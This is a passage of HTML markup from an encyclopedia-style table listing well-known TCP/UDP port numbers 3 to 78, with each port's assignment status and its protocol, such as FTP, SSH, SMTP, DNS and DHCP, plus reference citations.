href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>3</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>compressnet (Compression Process)<sup id=\"cite_ref-rfc6335_3-4\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Remote_Job_Entry\" class=\"mw-redirect\" title=\"Remote Job Entry\">Remote Job Entry</a><sup id=\"cite_ref-rfc407_8-0\" class=\"reference\"><a href=\"#cite_note-rfc407-8\">&#91;8&#93;</a></sup> was historically using socket 5 in its <a href=\"/wiki/Network_socket#History\" title=\"Network socket\">old socket form</a>, while <a href=\"/wiki/Management_information_base\" title=\"Management information base\">MIB</a> <a href=\"/wiki/Protocol_Independent_Multicast\" title=\"Protocol Independent Multicast\">PIM</a> has identified it as TCP/5<sup id=\"cite_ref-rfc2896_9-0\" class=\"reference\"><a href=\"#cite_note-rfc2896-9\">&#91;9&#93;</a></sup> and IANA has assigned both TCP and UDP 5 to it.\n</td></tr>\n<tr>\n<td>7</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Echo_Protocol\" title=\"Echo Protocol\">Echo Protocol</a><sup id=\"cite_ref-rfc862_10-0\" class=\"reference\"><a href=\"#cite_note-rfc862-10\">&#91;10&#93;</a></sup><sup id=\"cite_ref-apple-kb-HT202944_11-0\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">9\n</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-0\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned\n</td>\n<td><a href=\"/wiki/Discard_Protocol\" title=\"Discard Protocol\">Discard Protocol</a><sup id=\"cite_ref-rfc863_13-0\" class=\"reference\"><a href=\"#cite_note-rfc863-13\">&#91;13&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Wake-on-LAN\" title=\"Wake-on-LAN\">Wake-on-LAN</a><sup id=\"cite_ref-msft-tn-bb632665_14-0\" class=\"reference\"><a href=\"#cite_note-msft-tn-bb632665-14\">&#91;14&#93;</a></sup>\n</td></tr>\n<tr>\n<td>11</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Active Users (<a href=\"/wiki/Systat_(protocol)\" title=\"Systat (protocol)\">systat</a> service)<sup id=\"cite_ref-systat-netstat_15-0\" class=\"reference\"><a href=\"#cite_note-systat-netstat-15\">&#91;15&#93;</a></sup><sup id=\"cite_ref-&#82;FC866_16-0\" class=\"reference\"><a href=\"#cite_note-RFC866-16\">&#91;16&#93;</a></sup>\n</td></tr>\n<tr>\n<td>13</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Daytime_Protocol\" title=\"Daytime Protocol\">Daytime Protocol</a><sup id=\"cite_ref-rfc867_17-0\" class=\"reference\"><a href=\"#cite_note-rfc867-17\">&#91;17&#93;</a></sup>\n</td></tr>\n<tr>\n<td>15</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Previously <a href=\"/wiki/Netstat\" title=\"Netstat\">netstat</a> service<sup id=\"cite_ref-IANA_2-3\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup><sup id=\"cite_ref-systat-netstat_15-1\" class=\"reference\"><a href=\"#cite_note-systat-netstat-15\">&#91;15&#93;</a></sup>\n</td></tr>\n<tr>\n<td>17</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/QOTD\" title=\"QOTD\">Quote of the Day</a> (QOTD)<sup id=\"cite_ref-rfc865_18-0\" class=\"reference\"><a href=\"#cite_note-rfc865-18\">&#91;18&#93;</a></sup>\n</td></tr>\n<tr>\n<td>18</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Message_Send_Protocol\" title=\"Message Send Protocol\">Message Send Protocol</a><sup id=\"cite_ref-rfc1159_19-0\" class=\"reference\"><a href=\"#cite_note-rfc1159-19\">&#91;19&#93;</a></sup><sup id=\"cite_ref-rfc1312_20-0\" class=\"reference\"><a href=\"#cite_note-rfc1312-20\">&#91;20&#93;</a></sup>\n</td></tr>\n<tr>\n<td>19</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Character_Generator_Protocol\" title=\"Character Generator Protocol\">Character Generator Protocol</a> (CHARGEN)<sup id=\"cite_ref-rfc864_21-0\" class=\"reference\"><a href=\"#cite_note-rfc864-21\">&#91;21&#93;</a></sup>\n</td></tr>\n<tr>\n<td>20</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-1\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td>\n</td>\n<td><a href=\"/wiki/File_Transfer_Protocol\" title=\"File Transfer Protocol\">File Transfer Protocol</a> (FTP) data transfer<sup id=\"cite_ref-apple-kb-HT202944_11-1\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>21</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-2\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td>\n</td>\n<td>File Transfer Protocol (FTP) control (command)<sup id=\"cite_ref-apple-kb-HT202944_11-2\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc4960_12-3\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup><sup id=\"cite_ref-rfc765_22-0\" class=\"reference\"><a href=\"#cite_note-rfc765-22\">&#91;22&#93;</a></sup><sup id=\"cite_ref-rfc959_23-0\" class=\"reference\"><a href=\"#cite_note-rfc959-23\">&#91;23&#93;</a></sup>\n</td></tr>\n<tr>\n<td>22</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-4\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td>\n</td>\n<td><a href=\"/wiki/Secure_Shell\" title=\"Secure Shell\">Secure Shell</a> (SSH),<sup id=\"cite_ref-apple-kb-HT202944_11-3\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> secure logins, <a href=\"/wiki/File_transfer\" title=\"File transfer\">file transfers</a> (<a href=\"/wiki/Secure_copy\" class=\"mw-redirect\" title=\"Secure copy\">scp</a>, <a href=\"/wiki/SSH_file_transfer_protocol\" class=\"mw-redirect\" title=\"SSH file transfer protocol\">sftp</a>) and port forwarding\n</td></tr>\n<tr>\n<td>23</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Telnet\" title=\"Telnet\">Telnet</a> protocol—unencrypted text communications<sup id=\"cite_ref-apple-kb-HT202944_11-4\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc854_24-0\" class=\"reference\"><a href=\"#cite_note-rfc854-24\">&#91;24&#93;</a></sup>\n</td></tr>\n<tr>\n<td>25</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_Mail_Transfer_Protocol\" title=\"Simple Mail Transfer Protocol\">Simple Mail Transfer Protocol</a> (SMTP),<sup id=\"cite_ref-apple-kb-HT202944_11-5\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-rfc821_25-0\" class=\"reference\"><a href=\"#cite_note-rfc821-25\">&#91;25&#93;</a></sup> used for email routing between mail servers\n</td></tr>\n<tr>\n<td>27</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>nsw-fe (NSW User System FE)<sup id=\"cite_ref-rfc6335_3-5\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>28</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Palo Alto Networks' Panorama High Availability (HA) sync encrypted port.<sup id=\"cite_ref-PAN-OS_HALinksAndBackupLinks_26-0\" class=\"reference\"><a href=\"#cite_note-PAN-OS_HALinksAndBackupLinks-26\">&#91;26&#93;</a></sup>\n</td></tr>\n<tr>\n<td>29</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>msg-icp (MSG ICP)<sup id=\"cite_ref-rfc6335_3-6\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>31</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>msg-auth (MSG Authentication)<sup id=\"cite_ref-rfc6335_3-7\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>33</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>dsp (Display Support Protocol)<sup id=\"cite_ref-rfc6335_3-8\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>37</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Time_Protocol\" title=\"Time Protocol\">Time Protocol</a><sup id=\"cite_ref-rfc868_27-0\" class=\"reference\"><a href=\"#cite_note-rfc868-27\">&#91;27&#93;</a></sup>\n</td></tr>\n<tr>\n<td>38</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>rap (Route Access Protocol)<sup id=\"cite_ref-rfc6335_3-9\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>38</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>rlp (Resource Location Protocol)<sup id=\"cite_ref-rfc6335_3-10\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>41</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>graphics (Graphics)<sup id=\"cite_ref-rfc6335_3-11\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>42</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ARPA_Host_Name_Server_Protocol\" title=\"ARPA Host Name Server Protocol\">Host Name Server Protocol</a><sup id=\"cite_ref-ien116_28-0\" class=\"reference\"><a href=\"#cite_note-ien116-28\">&#91;28&#93;</a></sup>\n</td></tr>\n<tr>\n<td>43</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WHOIS\" title=\"WHOIS\">WHOIS</a> protocol<sup id=\"cite_ref-rfc812_29-0\" class=\"reference\"><a href=\"#cite_note-rfc812-29\">&#91;29&#93;</a></sup><sup id=\"cite_ref-rfc954_30-0\" class=\"reference\"><a href=\"#cite_note-rfc954-30\">&#91;30&#93;</a></sup><sup id=\"cite_ref-rfc3912_31-0\" class=\"reference\"><a href=\"#cite_note-rfc3912-31\">&#91;31&#93;</a></sup>\n</td></tr>\n<tr>\n<td>44</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mpm-flags\t(MPM FLAGS Protocol)<sup id=\"cite_ref-rfc6335_3-12\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>45</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mpm (Message Processing Module [recv])<sup id=\"cite_ref-rfc6335_3-13\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>46</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>mpm-snd (MPM [default send])<sup id=\"cite_ref-rfc6335_3-14\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>47</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>\n</td></tr>\n<tr>\n<td>48</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>auditd (Digital Audit Daemon)<sup id=\"cite_ref-rfc6335_3-15\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>49</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TACACS\" title=\"TACACS\">TACACS</a> Login Host protocol.<sup id=\"cite_ref-rfc1492_32-0\" class=\"reference\"><a href=\"#cite_note-rfc1492-32\">&#91;32&#93;</a></sup> <a href=\"/wiki/TACACS%2B\" class=\"mw-redirect\" title=\"TACACS+\">TACACS+</a>, still in draft which is an improved but distinct version of TACACS, only uses TCP 49.<sup id=\"cite_ref-33\" class=\"reference\"><a href=\"#cite_note-33\">&#91;33&#93;</a></sup>\n</td></tr>\n<tr>\n<td>50</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>re-mail-ck (Remote Mail Checking Protocol)<sup id=\"cite_ref-rfc6335_3-16\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>51</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Historically used for <a href=\"/wiki/Interface_Message_Processor\" title=\"Interface Message Processor\">Interface Message Processor</a> logical address management,<sup id=\"cite_ref-bbnreport5256_34-0\" class=\"reference\"><a href=\"#cite_note-bbnreport5256-34\">&#91;34&#93;</a></sup> entry has been removed by IANA on 2013-05-25\n</td></tr>\n<tr>\n<td>52</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Xerox_Network_Systems\" title=\"Xerox Network Systems\">Xerox Network Systems</a> (XNS) Time Protocol. Despite this port being assigned by IANA, the service is meant to work on <a href=\"/wiki/Sequenced_Packet_Protocol\" class=\"mw-redirect\" title=\"Sequenced Packet Protocol\">SPP</a> (ancestor of <a href=\"/wiki/IPX/SPX\" title=\"IPX/SPX\">IPX/SPX</a>), instead of TCP/IP.<sup id=\"cite_ref-xns_35-0\" class=\"reference\"><a href=\"#cite_note-xns-35\">&#91;35&#93;</a></sup>\n</td></tr>\n<tr>\n<td>53</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Domain_Name_System\" title=\"Domain Name System\">Domain Name System</a> (DNS)<sup id=\"cite_ref-rfc1035_36-0\" class=\"reference\"><a href=\"#cite_note-rfc1035-36\">&#91;36&#93;</a></sup><sup id=\"cite_ref-apple-kb-HT202944_11-6\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>54</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Xerox Network Systems (XNS) Clearinghouse (Name Server). Despite this port being assigned by IANA, the service is meant to work on <a href=\"/wiki/Sequenced_Packet_Protocol\" class=\"mw-redirect\" title=\"Sequenced Packet Protocol\">SPP</a> (ancestor of <a href=\"/wiki/IPX/SPX\" title=\"IPX/SPX\">IPX/SPX</a>), instead of TCP/IP.<sup id=\"cite_ref-xns_35-1\" class=\"reference\"><a href=\"#cite_note-xns-35\">&#91;35&#93;</a></sup>\n</td></tr>\n<tr>\n<td>55</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>isi-gl (ISI Graphics Language)<sup id=\"cite_ref-rfc6335_3-17\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>56</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Xerox Network Systems (XNS) Authentication Protocol. Despite this port being assigned by IANA, the service is meant to work on <a href=\"/wiki/Sequenced_Packet_Protocol\" class=\"mw-redirect\" title=\"Sequenced Packet Protocol\">SPP</a> (ancestor of <a href=\"/wiki/IPX/SPX\" title=\"IPX/SPX\">IPX/SPX</a>), instead of TCP/IP.<sup id=\"cite_ref-xns_35-2\" class=\"reference\"><a href=\"#cite_note-xns-35\">&#91;35&#93;</a></sup>\n</td></tr>\n<tr>\n<td>58</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Xerox Network Systems (XNS) Mail. Despite this port being assigned by IANA, the service is meant to work on <a href=\"/wiki/Sequenced_Packet_Protocol\" class=\"mw-redirect\" title=\"Sequenced Packet Protocol\">SPP</a> (ancestor of <a href=\"/wiki/IPX/SPX\" title=\"IPX/SPX\">IPX/SPX</a>), instead of TCP/IP.<sup id=\"cite_ref-xns_35-3\" class=\"reference\"><a href=\"#cite_note-xns-35\">&#91;35&#93;</a></sup>\n</td></tr>\n<tr>\n<td>61</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>Historically assigned to the <a href=\"/w/index.php?title=NIFTP-Based_Mail&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"NIFTP-Based Mail (page does not exist)\">NIFTP-Based Mail</a> protocol,<sup id=\"cite_ref-rfc1060_37-0\" class=\"reference\"><a href=\"#cite_note-rfc1060-37\">&#91;37&#93;</a></sup> but was never documented in the related <a href=\"/wiki/Internet_Experiment_Note\" title=\"Internet Experiment Note\">IEN</a>.<sup id=\"cite_ref-ien169_38-0\" class=\"reference\"><a href=\"#cite_note-ien169-38\">&#91;38&#93;</a></sup> The port number entry was removed from IANA's registry on 2017-05-18.<sup id=\"cite_ref-IANA_2-4\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>\n</td></tr>\n<tr>\n<td>62</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>acas (ACA Services)<sup id=\"cite_ref-rfc6335_3-18\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>63</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>whoispp (whois++)<sup id=\"cite_ref-rfc6335_3-19\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>64</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>covia (Communications Integrator (CI))<sup id=\"cite_ref-rfc6335_3-20\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>65</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>tacacs-ds (TACACS-Database Service)<sup id=\"cite_ref-rfc6335_3-21\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>66</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>sql-net (Oracle SQL*NET)<sup id=\"cite_ref-rfc6335_3-22\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>67</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Bootstrap_Protocol\" title=\"Bootstrap Protocol\">Bootstrap Protocol</a> (BOOTP) server;<sup id=\"cite_ref-apple-kb-HT202944_11-7\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> also used by <a href=\"/wiki/Dynamic_Host_Configuration_Protocol\" title=\"Dynamic Host Configuration Protocol\">Dynamic Host Configuration Protocol</a> (DHCP)\n</td></tr>\n<tr>\n<td>68</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Bootstrap Protocol (BOOTP) client;<sup id=\"cite_ref-apple-kb-HT202944_11-8\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> also used by Dynamic Host Configuration Protocol (DHCP)\n</td></tr>\n<tr>\n<td>69</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Trivial_File_Transfer_Protocol\" title=\"Trivial File Transfer Protocol\">Trivial File Transfer Protocol</a> (TFTP)<sup id=\"cite_ref-apple-kb-HT202944_11-9\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-ien133_39-0\" class=\"reference\"><a href=\"#cite_note-ien133-39\">&#91;39&#93;</a></sup><sup id=\"cite_ref-rfc783_40-0\" class=\"reference\"><a href=\"#cite_note-rfc783-40\">&#91;40&#93;</a></sup><sup id=\"cite_ref-rfc1350_41-0\" class=\"reference\"><a href=\"#cite_note-rfc1350-41\">&#91;41&#93;</a></sup>\n</td></tr>\n<tr>\n<td>70</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gopher_(protocol)\" title=\"Gopher (protocol)\">Gopher</a> protocol<sup id=\"cite_ref-rfc1436_42-0\" class=\"reference\"><a href=\"#cite_note-rfc1436-42\">&#91;42&#93;</a></sup>\n</td></tr>\n<tr>\n<td>71–74</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NETRJS\" class=\"mw-redirect\" title=\"NETRJS\">NETRJS</a> protocol<sup id=\"cite_ref-rfc88_43-0\" class=\"reference\"><a href=\"#cite_note-rfc88-43\">&#91;43&#93;</a></sup><sup id=\"cite_ref-rfc740_44-0\" class=\"reference\"><a href=\"#cite_note-rfc740-44\">&#91;44&#93;</a></sup><sup id=\"cite_ref-rfc820_45-0\" class=\"reference\"><a href=\"#cite_note-rfc820-45\">&#91;45&#93;</a></sup>\n</td></tr>\n<tr>\n<td>76</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>deos (Distributed External Object Store)<sup id=\"cite_ref-rfc6335_3-23\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr>\n<tr>\n<td>78</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>vettcp 